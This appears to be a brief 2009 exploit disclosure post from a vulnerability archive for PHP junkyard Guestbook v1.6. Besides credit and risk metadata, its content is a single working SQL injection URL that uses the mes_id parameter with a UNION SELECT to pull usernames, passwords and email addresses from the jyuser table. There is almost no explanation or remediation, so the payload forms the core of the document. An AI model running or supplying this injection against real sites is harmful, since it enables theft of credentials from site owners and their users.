PHP junkyard Guestbook v1.6 (mes_id) Sql Injection Vuln.

2009.07.26
Credit: ByBgh7
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

##Yazar: Bgh7 ## ##Turk Bilisim Gucleri / Ihlilal Hatti ## ##ByBgh7[a]Msn.Com ## ##Bgh7.Blogspot.Com ## ##Bug: Sql Injection Sql: site/guestbook.php?mes_id=-99999 UNION SELECT 0,1,2,concat_ws(user,0x3a,pass,0x3a,mail),4,5,6,7,8,9,10,11,12 FROM jyuser--


See this note in RAW Version
Vote for this issue:
50%
50%

Comment it here.
Copyright 2025, cxsecurity.com

 

Back to Top